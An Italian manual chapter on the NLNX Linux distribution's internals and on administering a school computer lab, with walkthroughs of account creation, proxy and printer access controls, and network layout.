Quando si avvia il DVD *live*, la struttura che si vede si compone in particolare della directory '`/RW-FS/`', la quale contiene dati non modificabili e serve per copiare il suo contenuto nel disco fisso, quando si va a installare NLNX.[1]

Figura 56.4. Confronto tra i file system durante il funzionamento da disco fisso rispetto al funzionamento da disco ottico.

disco fisso
(file system in lettura e scrittura)

/
RO-FS
RW-FS
dev
etc
etc.ro-fs
home
isolinux
mnt
proc
ramdisk
root
tmp
var
var.ro-fs
...
bin
boot
dev
etc
home
lib
mnt
opt
proc
root
sbin
...

disco ottico
(file system in sola lettura)

/
RW-FS
RO-FS
bin
boot
dev
etc
home
lib
mnt
opt
proc
root
sbin
...
dev
etc
etc.ro-fs
home
isolinux
mnt
proc
ramdisk
root
tmp
var
var.ro-fs
...

56.2.2 Creazione di una nuova versione

La creazione di un nuovo sistema NLNX si ottiene tramite il comando '**`nlnxrc nlnx make`**'. Lo script '**`nlnxrc`**' ('`/etc/script/nlnxrc`') è molto lungo e articolato; le istruzioni che riguardano la creazione di un nuovo disco sono racchiuse in una struttura '**`if`**'...'**`elif`**'...'**`fi`**'. In questa struttura si verifica se il comando selezionato è ammissibile, in base al fatto che l'avvio dello script avvenga da disco fisso o da DVD-ROM e al tipo di utente che lo esegue. L'istruzione che introduce la creazione di un nuovo disco è quella seguente:

```
elif [ "$UID" = "0" ] && [ "$CDROM" = "0" ] ↩
↪&& [ "$COMMAND" = "nlnx" ] && [ "$DIRECTIVE" = "make" ]
then
    istruzioni_creazione_disco
elif …
…
```

Tra le tante cose che avvengono qui dentro, si preparano le directory '`/RO-FS/etc/`' e '`/RO-FS/var/`', utilizzando anche il contenuto di '`/RO-FS/etc.ro-fs/`' e '`/RO-FS/var.ro-fs/`'.

In pratica, la directory '`/RO-FS/etc/`' viene ottenuta copiando la stessa struttura contenuta in '`/etc/`', sostituendo ogni file che non sia una directory con un collegamento simbolico che punta alla stessa cosa a partire da '`RW-FS/etc/`'; in modo analogo procede la preparazione della directory '`/RO-FS/var/`'. Quindi, viene ricopiato sopra il contenuto di '`/RO-FS/etc/`' e di '`/RO-FS/var/`', quanto si trova dentro '`/RO-FS/etc.ro-fs/`' e '`/RO-FS/var.ro-fs/`' rispettivamente. Naturalmente, questa è una semplificazione; in pratica, prima di passare alla sovrapposizione delle directory '`/RO-FS/*.RO-FS/`', lo script fa qualche ritocco indispensabile.

Dovendo intervenire in modo da modificare il contenuto delle directory '`/etc/`' o '`/var/`' durante il funzionamento da disco ottico, si può agire nelle directory '`/RO-FS/etc.ro-fs/`' e '`/RO-FS/var.ro-fs/`', a meno che si tratti di una situazione che non si risolve con la semplice copia di qualcosa di diverso. Per esempio, se un collegamento simbolico contenuto in una di queste directory può creare problemi, lo si può sostituire con un file vero e proprio, che in fase di funzionamento da DVD risulterebbe modificabile. Quello che non si può fare è rimpiazzare una directory con un file e nemmeno cancellare qualcosa; in queste situazioni estreme, diventa necessario intervenire nello script '**`nlnxrc`**'.

56.2.3 Configurazione predefinita di NLNX

Lo script '`/etc/init.d/nlnx.config`' di NLNX rimpiazza alcuni file di configurazione con altri che hanno generalmente l'estensione '`.nlnx`'. La tabella successiva riepiloga alcuni di questi file.

Tabella 56.6. Alcuni file di configurazione predefiniti di NLNX, secondo lo script '`/etc/init.d/nlnx.config`'.

File originale	Configurazione predefinita	Descrizione
'`/etc/oops/oops.cfg`'	'`/etc/oops/oops.cfg.nlnx`'	Configurazione del servizio proxy HTTP.
'`/etc/X11/fvwm/system.fvwm2rc`'	'`/etc/X11/fvwm/system.fvwm2rc.nlnx`'	Si tratta della configurazione predefinita del menù di Fvwm, per NLNX.
'`/etc/X11/xinit/xinitrc`'	'`/etc/X11/xinit/xinitrc.nlnx`'	Si tratta della configurazione predefinita dello script usato per avviare il gestore di finestre con qualcosa sullo sfondo.
'`/etc/X11/xorg.vesa`'	'`/etc/X11/xorg.vesa.nlnx`'	Configurazione di X predefinita, per un adattatore standard VESA.

File originale	Configurazione predefinita	Descrizione
'/etc/X11/xdm/Xresources'	'/etc/X11/xdm/Xresources.nlnx'	Configurazione di XDM per l'accesso alla sessione grafica.
'/etc/xfe/xferc'	'/etc/xfe/xferc.nlnx'	Configurazione di XFE.

Molti altri file con estensione '`.nlnx`' servono a conservare una copia della configurazione standard di NLNX, ma non vengono rimpiazzati automaticamente.

56.2.4 Aggiornamento dei pacchetti installati

Una volta installato NLNX, l'aggiornamento o l'aggiunta di pacchetti può avvenire con gli strumenti consueti della distribuzione GNU/Linux Debian. In pratica conviene usare '**`apt-get`**', come spiegato nella sezione 7.7.

Dal momento che si presume NLNX venga installato prevalentemente a scuola, è da considerare che la rete tipica che si incontra in quel contesto obbliga l'attraversamento di un proxy HTTP, che spesso è in grado di consentire l'accesso esclusivamente da navigatori funzionanti su macchine MS-Windows. Teoricamente, '**`apt-get`**' può essere configurato per attraversare un proxy, come si può anche vedere negli esempi che appaiono nel file '`/usr/share/doc/apt/examples/configure-index.gz`', ma non è detto che il proxy della propria realtà consenta effettivamente questo approccio.

Per risolvere il problema occorre procurarsi i pacchetti in modi differenti, per esempio usando una macchina (MS-Windows) che consenta l'attraversamento, per accedere direttamente al sito ⟨http://www.debian.org/⟩, da dove si può raggiungere la pagina di ricerca dei pacchetti (⟨http://www.debian.org/distrib/packages⟩). Una volta prelevati i pacchetti e copiati in qualche modo nell'elaboratore che si vuole aggiornare, si può tentare di usare '**`dpkg`**' con l'opzione '**`-i`**':

`dpkg -i` ***file_deb***... [*Invio*]

Purtroppo si tratta di un metodo brutale di installazione che rischia di bloccarsi per colpa di dipendenze che non sono soddisfatte; ma dagli errori che si ottengono si possono determinare quali pacchetti si devono ancora prelevare.

Nella sezione 7.11 vengono descritti vari accorgimenti per la gestione dei pacchetti Debian; in particolare viene mostrato un metodo per realizzare in proprio la struttura di una distribuzione (attraverso lo script '**`make-packages`**'), in modo da poter usare poi '**`apt-get`**' localmente. Anche con l'uso di '**`apt-get`**' rimane il problema delle dipendenze non soddisfatte, ma in questo modo si riesce almeno a realizzare qualcosa di generalizzato, che può risiedere facilmente in un disco esterno USB, o anche in un DVD masterizzato, per aggiornare facilmente le macchine che si vogliono usare.

56.2.5 Kernel

Il kernel di NLNX è molto simile a quello standard della distribuzione Debian, con la differenza più evidente che mancano del tutto le funzionalità ritenute inutili e ci sono più componenti incorporate direttamente nella parte principale (nel senso che non fanno parte di moduli separati). Vengono annotate nella tabella successiva alcune scelte fatte nella configurazione e le motivazioni relative.

Modulo	Voce di configurazione	Descrizione
md_mod	CONFIG_MD=y	Solo se questa funzione è incorporata nel file principale del kernel è possibile ottenere la scansione automatica degli insiemi RAID di dischi, con il comando '**mdadm --auto-detect**'.
cramfs	CONFIG_CRAMFS=y	Il file system del disco RAM iniziale è di tipo Cramfs e in quella fase la sua gestione non può trovarsi separata in un modulo.
	CONFIG_USB_SUSPEND=n	Utilizzando uno scanner USB Canon LiDE, avendo attivata la funzione '**CONFIG_USB_SUSPEND**', si ottengono solo scansioni completamente nere.

56.3 Organizzazione del laboratorio GNU/Linux

Oltre al responsabile del laboratorio, altri potrebbero eseguire alcune operazioni legate all'amministrazione tecnica dello stesso, per evitare di dover dipendere da una sola persona per ogni cosa. Queste persone dispongono di un'utenza amministrativa personale, presso l'elaboratore con indirizzo 172.17.1.254 (localmente o a distanza), il quale può essere raggiunto anche con l'indirizzo 192.168.0.71. Attraverso tale utenza amministrativa si ottiene un menù di funzioni prestabilito, come si vede nella figura seguente, che può contenere più voci se l'accesso avviene presso la console dell'elaboratore principale:

```
.------------------------Admin menu--------------------------.
| Admin limited menu                                         |
| .--------------------------------------------------------. |
| |   adduser          Add a new user                       | |
| |   passwd           Change a user's password             | |
| |   description      Change a user's description          | |
| |   user info        Show user info                       | |
| |   home info        Show home directory info             | |
| |   quota report     Show sorted user's quota             | |
| |   nis-make         Rebuild NIS database                 | |
| |   add machine      Add a new MS-Windows computer        | |
| |   proxy access     HTTP proxy access permissions        | |
| |   admin passwd     Change your password                 | |
| |   custom1          Custom script 1                      | |
| |   custom2          Custom script 2                      | |
| |   custom3          Custom script 3                      | |
| |   exit             Quit                                 | |
| '--------------------------------------------------------' |
|------------------------------------------------------------|
|                 <  OK  >         <Cancel>                  |
'------------------------------------------------------------'
```

Attraverso questo menù è possibile, in particolare, aggiungere un'utenza, cambiare la parola d'ordine di un utente che ne fa richiesta e verificare la configurazione delle utenze.

Tabella 56.9. Descrizione delle funzioni principali disponibili alle utenze amministrative. Si osservi che la voce '**lprm**' è accessibile solo localmente, attraverso la console dell'elaboratore 172.17.1.254.

Funzione	Descrizione
`adduser`	Consente di aggiungere un'utenza al sistema.
`passwd`	Consente di cambiare la parola d'ordine associata a un'utenza.
`printer access`	Controlla gli accessi al servizio di stampa.
`user info` `home info`	Consente di avere informazioni su un'utenza.
`quota report`	Mostra l'elenco delle quote degli utenti, ordinata in modo decrescente per quantità di spazio utilizzato.
`proxy access`	Controlla gli accessi al servizio proxy HTTP.
`admin passwd`	Consente all'amministratore di cambiare la propria parola d'ordine necessaria per accedere.
`custom1`	Allinea le directory '`verifiche/`' e '`strumenti/`' tra docenti e studenti.
`custom2` `custom3`	Consente di controllare l'accesso alle unità di memorizzazione esterne.
`custom3` `custom3`	Consente di controllare l'accesso a risorse esterne, tramite il proxy HTTP, nel proprio laboratorio o in altri, se configurati in modo appropriato.
`exit`	Esce dal menù.

56.3.1 Accensione e spegnimento

L'elaboratore con indirizzo 172.17.1.254 deve rimanere accesso sempre, anche durante la notte, perché svolge servizi necessari a tutta la rete locale (non solo per il laboratorio) e perché durante la notte può eseguire delle elaborazioni (per esempio la ricerca antivirus) che altrimenti appesantirebbero inutilmente le altre attività.

Per questa ragione, nel quadro elettrico va lasciato inserito l'interruttore generale e l'interruttore periferico (contrassegnato appositamente) che controlla l'alimentazione dell'elaboratore 172.17.1.254.

Gli elaboratori destinati agli utenti, vanno accesi e spenti all'occorrenza, ma in ogni caso è previsto un piano di spegnimento automatico giornaliero, per maggiore sicurezza.

56.3.2 Procedura per l'aggiunta di un utente

Dal momento che si prevede la presenza simultanea di un gran numero di utenze, si richiede a chi interviene per aggiungerne di nuove di farlo con un certo ordine.

Per prima cosa **si conviene che il nominativo scelto dall'utente cominci con il cognome** e continui, possibilmente, con il nome (per esempio «rossimario»), tenendo conto che si possono usare al massimo 15 caratteri alfabetici e numerici (lettere dalla «a» alla «z», minuscole, cifre da zero a nove).

Una volta inserito il nominativo, è necessario stabilire una sigla che viene usata per classificare l'utenza. Nel caso degli studenti che usano comunemente il laboratorio, va usata la sigla della classe (compresa la sezione e una lettera per distinguere il corso di studi) seguita dall'anno scolastico. La tabella seguente riepiloga alcuni esempi.

Tabella 56.10. Esempi di sigle da usare per raggruppare le utenze secondo il contesto per il quale vengono create.

Esempio	Contesto
`5A1011`	Utenze annuali, riferite agli alunni di 5A, create nell'anno scolastico 2010/2011, dove non è necessario specificare il corso di studi.
`4AS1011`	Utenze annuali, riferite agli alunni di 4A, corso «S», create nell'anno scolastico 2010/2011.
`DOCENTI0`	Utenze riferite ai docenti, da conservare attraverso gli anni scolastici.
`ITP00000`	Utenze riferite agli insegnanti tecnico-pratici, da conservare attraverso gli anni scolastici.
`TECNICI0`	Utenze riferita ai tecnici, da conservare attraverso gli anni scolastici.
`COLLSCOL`	Utenze riferite ai tecnici, da conservare attraverso gli anni scolastici.
`SEGRETER`	Utenze riferite al personale di segreteria, da conservare attraverso gli anni scolastici.
`DSGA0000`	Utenza riferita al direttore dei servizi generali e amministrativi, da conservare attraverso gli anni scolastici.
`DIRIGENT`	Utenza riferita al dirigente scolastico, da conservare attraverso gli anni scolastici.
`ESTERNI0`	Utenti che non fanno parte dell'istituto, ma che sono ammessi ad accedere alla rete didattica per qualche motivo.

Quando viene richiesto di inserire un utente, il programma che si occupa di questo consente di aggiungere dei dati ulteriori all'interno di un campo aggiuntivo. Ciò va usato per indicare i dati significativi dell'utenza, in base al contesto di utilizzo. Seguono due esempi; il primo riferito all'utente Mario Rossi che è uno studente di 5A «igea», il secondo riferito al professor Sempronio Dicembrino che è docente di economia aziendale:

```
.------------------------------Add a new user--------------------------------.
| [en] Please insert the new user name (only lower case letters and numbers, |
| minimum 8 and max 15 characters, the first character must be a letter).    |
|                                                                            |
| [it] Inserire il nominativo utente, composto preferibilmente da cognome e  |
| nome attaccati, ed eventualmente l'anno di nascita, per esempio            |
| "rossimario1990" (si possono usare solo lettere minuscole e cifre          |
| numeriche per un minimo di 8 e fino a un massimo di 15 caratteri, ma il    |
| primo carattere deve essere una lettera).                                  |
| |........9012345|                                                          |
| .------------------------------------------------------------------------. |
| |                                                                        | |
| '------------------------------------------------------------------------' |
|                                                                            |
|----------------------------------------------------------------------------|
|                       <  OK  >            <Cancel>                         |
'----------------------------------------------------------------------------'
```

rossimario OK

```
.--------------------Classify user-----------------------.
| [en] Please select a hierarchy name for the user: it   |
| will be used as an intermediate directory after        |
| "/home/".                                              |
|                                                        |
| [it] Inserire la classificazione dell'utente: viene    |
| usata come directory intermedia dopo "/home/".         |
| .----------------------------------------------------. |
| |              1AI1011   /home/1AI1011               | |
| |              1AM1011   /home/1AM1011               | |
| |              1AS1011   /home/1AS1011               | |
| |              1BI1011   /home/1BI1011               | |
| |              1BM1011   /home/1BM1011               | |
| |              1BS1011   /home/1BS1011               | |
| |              1CI1011   /home/1CI1011               | |
| |              1CM1011   /home/1CM1011               | |
| |              1DI1011   /home/1DI1011               | |
| |              DOCENTI0  /home/DOCENTI0/             | |
| |              --------  ----------------------      | |
| |              new       add a new one               | |
| '--------------v(+)----------------------------------' |
|                                                        |
|                                                        |
|--------------------------------------------------------|
|               <  OK  >        <Cancel>                 |
'--------------------------------------------------------'
```

Non essendo già stata prevista la classificazione '**5AI1011**', si seleziona la voce '**new**' per passare all'inserimento manuale:

```
.------------------------------Classify user---------------------------------.
| [en] Please insert a hierarchy name for the user: it will be used as an    |
| intermediate directory after "/home/".                                     |
| Please insert only upper case letters and digits (A-Z, 0-9; min 4, max 8   |
| characters).                                                               |
|                                                                            |
| [it] Inserire la classificazione dell'utente: viene usata come directory   |
| intermedia dopo "/home/".                                                  |
| Inserire solo lettere maiuscole e cifre numeriche (A-Z, 0-9; min 4, max 8  |
| caratteri).                                                                |
| |....5678|                                                                 |
| .------------------------------------------------------------------------. |
| |2010                                                                    | |
| '------------------------------------------------------------------------' |
|                                                                            |
|----------------------------------------------------------------------------|
|                       <  OK  >            <Cancel>                         |
'----------------------------------------------------------------------------'
```

Viene cancellato il valore predefinito e viene assegnata la sigla '**5AI1011**':

[*Canc*][*Canc*][*Canc*][*Canc*]

5AI1011 OK

```
.--------------------Full user name-----------------------.
| [en] Please insert the user full name and maybe some    |
| more data to identify it.                               |
|                                                         |
| [it] Inserire la descrizione dettagliata dell'utente,   |
| per poterlo identificare con precisione.                |
| .-----------------------------------------------------. |
| |                                                     | |
| '-----------------------------------------------------' |
|---------------------------------------------------------|
|               <  OK  >        <Cancel>                  |
'---------------------------------------------------------'
```

Vengono richiesti alcuni dati addizionali, che è bene compilare per poter individuare correttamente l'utente:

studente Rossi Mario 5A igea 2010/2011 [*Invio*]

```
Adding user `rossimario'...
Adding new group `rossimario' (1000).
Adding new user `rossimario' (1000) with group `rossimario'.
Creating home directory `/home/5AI1011/rossimario'.
Copying files from `/etc/skel'
```

Al termine viene richiesto di inserire per due volte la parola d'ordine, cosa che deve essere fatta direttamente dalla persona per la quale si crea l'utenza.

```
.---------------------------New password-----------------------------.
| [en] Please insert the new password for user "rossimario" with     |
| home directory "/home/5A1011/rossimario". Please insert at least 8 |
| characters.                                                        |
|                                                                    |
| [it] Inserire la nuova parola d'ordine per l'utente "rossimario"   |
| che dispone della directory personale "/home/5A1011/rossimario".   |
| Si prega di inserire almeno 8 caratteri.                           |
|  <-MIN-->                                                          |
| .----------------------------------------------------------------. |
| |************                                                    | |
| '----------------------------------------------------------------' |
|--------------------------------------------------------------------|
|                   <  OK  >          <Cancel>                       |
'--------------------------------------------------------------------'
```

L'inserimento corrisponde alla visualizzazione di una serie di asterischi.

```
.-----------------------New password-------------------------.
| [en] Please insert again the new password for user         |
| "rossimario" with home directory "/home/5A1011/rossimario".|
|                                                            |
| [it] Inserire nuovamente la parola d'ordine per l'utente   |
| "rossimario" che dispone della directory personale         |
| "/home/5A1011/rossimario".                                 |
|  <-MIN->                                                   |
| .--------------------------------------------------------. |
| |************                                            | |
| '--------------------------------------------------------' |
|------------------------------------------------------------|
|                 <  OK  >         <Cancel>                  |
'------------------------------------------------------------'
```

Dopo l'inserimento, per due volte, della parola d'ordine, se tutto è stato fatto senza errori, soprattutto se la parola d'ordine è stata inserita correttamente, l'operazione è completa e si può procedere con l'utente successivo:

```
.-----------------------------Add a new user-------------------------------.
| [en] Please insert the new user name (only lower case letters and numbers, |
| minimum 8 and max 15 characters, the first character must be a letter).    |
|                                                                            |
| [it] Inserire il nominativo utente, composto preferibilmente da cognome e  |
| nome attaccati, ed eventualmente l'anno di nascita, per esempio            |
| "rossimario1990" (si possono usare solo lettere minuscole e cifre          |
| numeriche per un minimo di 8 e fino a un massimo di 15 caratteri, ma il    |
| primo carattere deve essere una lettera).                                  |
| |........9012345|                                                          |
| .------------------------------------------------------------------------. |
| |                                                                        | |
| '------------------------------------------------------------------------' |
|                                                                            |
|----------------------------------------------------------------------------|
|                      <  OK  >            <Cancel>                          |
'----------------------------------------------------------------------------'
```

Passando all'inserimento dell'utente «Sempronio Dicembrino», la somma di cognome e nome sarebbe troppo lunga, pertanto si concorda con l'utente di usare il nominativo '**`dicembrinosempr`**':

`dicembrinosempr` [OK]

```
.--------------------Classify user-----------------------.
| [en] Please select a hierarchy name for the user: it   |
| will be used as an intermediate directory after        |
| "/home/".                                              |
|                                                        |
| [it] Inserire la classificazione dell'utente: viene    |
| usata come directory intermedia dopo "/home/".         |
| .----------------------------------------------------. |
| |              1AI1011   /home/1AI1011               | |
| |              1AM1011   /home/1AM1011               | |
| |              1AS1011   /home/1AS1011               | |
| |              1BI1011   /home/1BI1011               | |
| |              1BM1011   /home/1BM1011               | |
| |              1BS1011   /home/1BS1011               | |
| |              1CI1011   /home/1CI1011               | |
| |              1CM1011   /home/1CM1011               | |
| |              1DI1011   /home/1DI1011               | |
| |              DOCENTI0  /home/DOCENTI0/             | |
| |              --------  ----------------------      | |
| |              new       add a new one               | |
| `--------------v(+)----------------------------------' |
|                                                        |
|                                                        |
|--------------------------------------------------------|
|               <  OK  >        <Cancel>                 |
`--------------------------------------------------------'
```

E essendo già stata prevista la classificazione '**`DOCENTI0`**' la si seleziona e si procede. Si passa così alla richiesta della descrizione completa del docente:

```
.--------------------Full user name-----------------------.
| [en] Please insert the user full name and maybe some    |
| more data to identify it.                               |
|                                                         |
| [it] Inserire la descrizione dettagliata dell'utente,   |
| per poterlo identificare con precisione.                |
| .-----------------------------------------------------. |
| |                                                     | |
| `-----------------------------------------------------' |
|---------------------------------------------------------|
|               <  OK  >        <Cancel>                  |
`---------------------------------------------------------'
```

`prof. Dicembrino Sempronio economia aziendale 2010/2011` [*Invio*]

```
Adding user dicembrinosempr...
Adding new group dicembrinosempr (1004).
Adding new user dicembrinosempr (1004) with group dicembrinosempr.
Creating home directory /home/DOCENTI0/dicembrinosempr.
Copying files from /etc/skel
```

```
.---------------------------New password----------------------------.
| [en] Please insert the new password for user "dicembrinosempr"     |
| with home directory "/home/DOCENTI0/dicembrinosempr". Please       |
| insert at least 8 characters.                                      |
|                                                                    |
| [it] Inserire la nuova parola d'ordine per l'utente                |
|  "dicembrinosempr" che dispone della directory personale           |
|  "/home/DOCENTI0/dicembrinosempr". Si prega di inserire almeno 8   |
|  caratteri.                                                        |
|  <-MIN-->                                                          |
| .----------------------------------------------------------------. |
| |************                                                    | |
| '----------------------------------------------------------------' |
|--------------------------------------------------------------------|
|                    <  OK  >          <Cancel>                      |
'--------------------------------------------------------------------'
```

```
.-----------------------New password-------------------------.
| [en] Please insert again the new password for user          |
| "dicembrinosempr" with home directory                       |
| "/home/DOCENTI0/dicembrinosempr".                           |
|                                                             |
| [it] Inserire nuovamente la parola d'ordine per l'utente    |
| "dicembrinosempr" che dispone della directory personale     |
| "/home/DOCENTI0/dicembrinosempr".                           |
|  <-MIN-->                                                   |
| .---------------------------------------------------------. |
| |************                                             | |
| '---------------------------------------------------------' |
|-------------------------------------------------------------|
|                  <  OK  >         <Cancel>                  |
'-------------------------------------------------------------'
```

Al termine, dopo la conferma dell'inserimento della parola d'ordine, non dovendo inserire altri utenti, basta concludere selezionando il pulsante grafico CANCEL.

Quando si tenta di inserire un nominativo utente molto lungo, è probabile che l'operazione si concluda ugualmente con successo, ma ciò avviene perché il programma riduce automaticamente il nome ai primi 15 caratteri. Pertanto, se si inserisce il nominativo «dicembrinosempronio» si ottiene in pratica l'utente «dicembrinosempr». Di questo occorre tenerne conto, perché poi gli utenti chiedono aiuto quando non riescono ad accedere al sistema; in tal caso basta dire loro di riprovare con i soli primi 15 caratteri del nominativo presunto.

56.3.3 Controllo dei servizi

Presso l'elaboratore 172.17.1.254 sono presenti diversi servizi per la rete locale, compreso quello di stampa e un proxy HTTP trasparente. L'accesso a questi servizi può essere controllato, per impedire ad alcuni elaboratori di stampare o di accedere a servizi HTTP esterni con il navigatore. Ciò che si imposta in questo modo, rimane, anche all'eventuale riavvio dell'elaboratore 172.17.1.254, pertanto è necessario sapere come ripristinare o comunque regolare tali servizi.

Dal menù si seleziona la voce `printer access` per il controllo dell'utilizzo della stampante, oppure la voce `proxy access` per il controllo dell'accesso ai servizi esterni HTTP. In entrambi i casi si ottiene un elenco degli elaboratori che possono essere abilitati o disabilitati; l'esempio seguente riguarda il caso del proxy HTTP:

```
.----------HTTP proxy access permissions-------------.
| Please, select or deselect who can access to the   |
| HTTP proxy:                                        |
| .----------------------------------------------. |
| | [ ] DENY_ALL       reset to no access allowed  | |
| | [ ] ALLOW_ALL      reset to all access allowed | |
| | [X] 172.17.1.1     allow_172.21.1.1            | |
| | [ ] 172.17.1.10    allow_172.21.1.10           | |
| | [X] 172.17.1.11    allow_172.21.1.11           | |
| | [ ] 172.17.1.12    allow_172.21.1.12           | |
| | [ ] 172.17.1.13    allow_172.21.1.13           | |
| | [ ] 172.17.1.14    allow_172.21.1.14           | |
| | [ ] 172.17.1.15    allow_172.21.1.15           | |
| | [ ] 172.17.1.16    allow_172.21.1.16           | |
| | [ ] 172.17.1.17    allow_172.21.1.17           | |
| | [ ] 172.17.1.18    allow_172.21.1.18           | |
| | [ ] 172.17.1.19    allow_172.21.1.19           | |
| | [X] 172.17.1.2     allow_172.21.1.2            | |
| | [ ] 172.17.1.20    allow_172.21.1.20           | |
| | [ ] 172.17.1.21    allow_172.21.1.21           | |
| '-----v(+)-------------------------------------' |
|----------------------------------------------------|
|            <  OK  >         <Cancel>               |
'----------------------------------------------------'
```

Per selezionare o deselezionare una voce, basta premere la barra spaziatrice quando quella che si desidera è evidenziata; per confermare le selezioni fatte, si seleziona il pulsante OK. Nell'esempio è in evidenza la richiesta di attivare il collegamento per gli elaboratori 172.17.1.1, 172.17.1.2 e 172.17.1.11.

56.3.4 Controllo del numero massimo di pagine stampabili per volta

Presso ogni singolo elaboratore è configurato un numero massimo di pagine stampabili per volta: in condizioni normali è possibile produrre un massimo di 11 pagine per stampa. Nel caso fosse necessario stampare una quantità maggiore di pagine, vanno divise le richieste di stampa in blocchi di quantità inferiore o uguale a 11.

56.3.5 Utilizzo di elaboratori estranei al laboratorio

Se per qualche ragione devono essere usati nel laboratorio degli elaboratori diversi da quelli previsti, collegandoli alla rete, è necessario provvedere alla configurazione dell'interfaccia di rete e all'instradamento necessari. In condizioni normali va utilizzato il protocollo DHCP per la configurazione automatica; tuttavia, nel caso si debba procedere in modo manuale, oltre a chiedere al responsabile l'uso di un indirizzo IPv4, occorre sapere che l'indirizzo della rete locale è 172.17.0.0, con maschera di rete 255.255.0.0 e che il router per accedere alla rete esterna dall'interno del laboratorio è 172.17.1.254.

56.4 Utilizzo del laboratorio GNU/Linux

«

Il laboratorio è distribuito secondo la piantina che si può vedere nella figura successiva. Ogni elaboratore è distinto secondo il suo indirizzo IPv4 e possono essere usati dagli utenti tutti quelli che hanno indirizzi da 172.17.1.1 a 172.17.1.32, perché i due elaboratori 172.17.1.254 e 172.17.1.253 mettono a disposizione dei servizi indispensabili per la rete e non possono sostenere carichi ulteriori. Il sistema operativo utilizzato negli elaboratori è GNU/Linux. Gli elaboratori con indirizzi 172.17.1.254 e 172.17.1.253 hanno anche un indirizzo alternativo, corrispondente, rispettivamente, a 192.168.0.71 e 192.168.0.81.

Figura 56.25. Piantina del laboratorio.

172.17.1 .1 | 172.17.1 .2 | 172.17.1 .29 | 172.17.1 .30 | 172.17.1 .31 | 172.17.1 .32

172.17.1 .3 | 172.17.1 .4

172.17.1 .7 | 172.17.1 .8 | 172.17.1 .9 | 172.17.1 .10

172.17.1 .5 | 172.17.1 .6

172.17.1 .13 | 172.17.1 .14 | 172.17.1 .15 | 172.17.1 .16

172.17.1 .11 | 172.17.1 .12

172.17.1 .19 | 172.17.1 .20 | 172.17.1 .21 | 172.17.1 .22

172.17.1 .17 | 172.17.1 .18

172.17.1 .25 | 172.17.1 .26 | 172.17.1 .27 | 172.17.1 .28

172.17.1 .23 | 172.17.1 .24

.253 172.17.1 | .254 172.17.1

56.4.1 Avvio e arresto degli elaboratori del laboratorio

Nel laboratorio rimane sempre acceso l'elaboratore 172.17.1.254, perché offre servizi importanti per tutta la rete didattica e perché nelle ore di non utilizzo può eseguire le operazioni di manutenzione giornaliera di registri, indici e di scansione antivirus nei dati personali degli utenti.

Gli elaboratori destinati agli utenti, vanno accesi e spenti all'occorrenza, ma in ogni caso è previsto un piano di spegnimento automatico giornaliero, per maggiore sicurezza. Gli elaboratori destinati agli utenti utilizzano un sistema operativo avviato dalla rete (fornito dal servente 172.17.1.254), così da non dipendere dal disco fisso locale; pertanto, possono essere spenti anche senza accortezze, in caso di necessità.

Se l'elaboratore 172.17.1.254 non è in funzione regolarmente, per qualunque ragione, gli altri elaboratori non sono utilizzabili.

56.4.2 Utenze

Per poter utilizzare qualunque postazione del laboratorio, è necessario disporre di un'utenza personale, a cui è associata una parola d'ordine di riconoscimento:

`login:` **`rossimario`** [*Invio*]

`Password:` **`segretissimo`** [*Invio*]

Per sicurezza, l'inserimento della parola d'ordine viene fatto all'oscuro, senza nemmeno poter vedere quanti tasti sono stati premuti.

Le utenze devono essere personali e possono essere create solo da un «amministratore», ovvero da una persona che abbia i privilegi necessari per questo compito. La parola d'ordine viene decisa dallo stesso utente che deve usarla successivamente per identificarsi, il quale deve anche avere la cura di ricordarsela e di mantenerla segreta.

In base all'organizzazione del laboratorio, per poter cambiare la propria parola d'ordine è necessario chiedere aiuto all'amministratore.

Gli utenti del laboratorio devono essere ben consapevoli del fatto che alcune delle attività svolte sono annotate in un registro elettronico, disponibile pubblicamente nell'ambito della rete locale. I file di tale registro vengono conservati (salvo malfunzionamenti), per un tempo discreto e potrebbero servire per verificare l'utilizzo corretto del laboratorio stesso da parte di chi vi accede, benché tale ricerca sia comunque di una certa complessità. Anche per questa ragione è molto importante mantenere segreta la propria parola d'ordine di identificazione, inoltre non conviene abbandonare, anche solo temporaneamente, un elaboratore (o un terminale) lasciando attiva la propria sessione di lavoro.

Ogni utente dispone di una directory personale, ovvero di uno spazio per i propri dati personali. In base alle caratteristiche tecniche degli elaboratori disponibili, lo spazio concesso a ogni utente è di 50000000 byte. L'utilizzo dello spazio da parte di ogni utente deve essere tenuto sotto controllo, perché i programmi più comuni (come quelli di navigazione o quelli di automazione dell'ufficio) creano spesso in modo automatico dei file nella directory personale,

in modo da conservare la configurazione particolare dell'utente. Gli utenti che si accorgono del problema e, per qualche ragione, non sono in grado di ridurre lo spazio utilizzato, devono chiedere aiuto.

In generale, pur non essendoci alcuna intenzione di danneggiare gli utenti del laboratorio, non è possibile dare alcuna garanzia che i dati vengano conservati integri nel tempo; inoltre, all'inizio di ogni anno scolastico vengono azzerate tutte le utenze degli studenti, o per lo meno quelle classificate come tali. Pertanto, gli utenti che hanno la necessità di conservare i propri dati attraverso gli anni scolastici devono organizzarsi attraverso delle copie di sicurezza.

56.4.3 Registri

Per motivi didattici, dall'interno del laboratorio è possibile accedere all'indirizzo `http://172.17.1.254/cgi-bin/var_log`, dal quale è possibile leggere la maggior parte dei file delle registrazioni raccolti dall'elaboratore 172.17.1.254.

56.4.4 Console e utilizzo di applicazioni grafiche

In generale le postazioni di lavoro normali attivano automaticamente il sistema grafico dopo l'identificazione dell'utente. Tuttavia, sono disponibili anche le console virtuali tradizionali (a caratteri, senza grafica). Le console virtuali sono raggiungibili con le combinazioni di tasti [*Ctrl Alt F1*], [*Ctrl Alt F2*], fino a [*Ctrl Alt F6*]; inoltre, la combinazione [*Ctrl Alt F7*] riporta alla sessione di lavoro grafica.

Figura 56.26. Selezione delle sessioni di lavoro: a sinistra le combinazioni di tasti per le console virtuali; a destra la combinazione per la sessione grafica.

In caso di necessità, durante il funzionamento in modalità grafica, è possibile eliminare il processo elaborativo del sistema grafico X attraverso la combinazione di tasti [*Ctrl Alt Backspace*] (ovvero [*Ctrl Alt* <---]).

Figura 56.27. Uso della combinazione di tasti [*Ctrl Alt Backspace*].

Il sistema grafico è organizzato in modo da non avere «oggetti» (*gadget*) superflui. Tra le altre cose, ciò consente di ottenere il massimo delle prestazioni dall'elaboratore senza sprechi. Per questa ragione, il puntatore grafico del mouse non mostra clessidre o altro per indicare l'aumento dell'attività del sistema operativo; quindi, quando si avvia un'applicazione, occorre aspettare un momento prima di poterla vedere apparire.

56.4.5 Stampa

